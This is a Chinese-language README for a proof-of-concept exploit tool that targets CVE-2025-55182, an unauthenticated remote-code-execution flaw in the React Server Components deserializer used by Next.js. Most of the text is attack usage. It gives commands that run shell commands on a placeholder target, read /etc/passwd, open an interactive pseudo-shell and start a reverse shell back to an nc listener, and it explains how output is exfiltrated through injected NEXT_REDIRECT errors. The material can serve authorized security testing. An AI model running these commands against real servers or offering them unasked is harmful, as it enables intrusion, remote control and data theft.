CVE-2025-55182 的概念验证,这是 React Server Components 中一个严重的未认证远程代码执行漏洞。
CVSS 分数: 10.0(严重)
该漏洞存在于 React 的 Flight 协议反序列化器中。通过利用特制负载进行的原型污染(prototype pollution),攻击者可以在受影响的 Next.js 应用程序上实现任意代码执行。
| 产品 | 受影响版本 | 已修复版本 |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
输出通过 NEXT_REDIRECT 错误直接返回在 HTTP 响应中 - 无需回调服务器。
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"
python3 react2shell-poc.py -t http://TARGET:3000 -i
python3 react2shell-poc.py -t http://TARGET:3000 --check
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind
# Start listener
nc -lvnp 4444
# Send payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP
-t, --target Target URL (required)
-c, --command Command to execute (output via error-based exfil by default)
--check Check if target is vulnerable
--blind Blind RCE mode (no output capture)
--listen Use callback server instead of error-based exfil
-i, --interactive Interactive pseudo-shell mode
--revshell Attempt reverse shell
--lhost Attacker IP for callbacks/reverse shell
--lport Callback port (default: 9999)
--callback Manual callback URL
--timeout Request timeout in seconds (default: 30)
默认的外带方法使用 NEXT_REDIRECT 错误注入:
NEXT_REDIRECT 错误,将输出放入 digest 字段这比基于回调的外带更可靠,因为它不需要目标具有出站网络访问权限。
此工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法行为。测试前请始终获得适当授权。
p3ta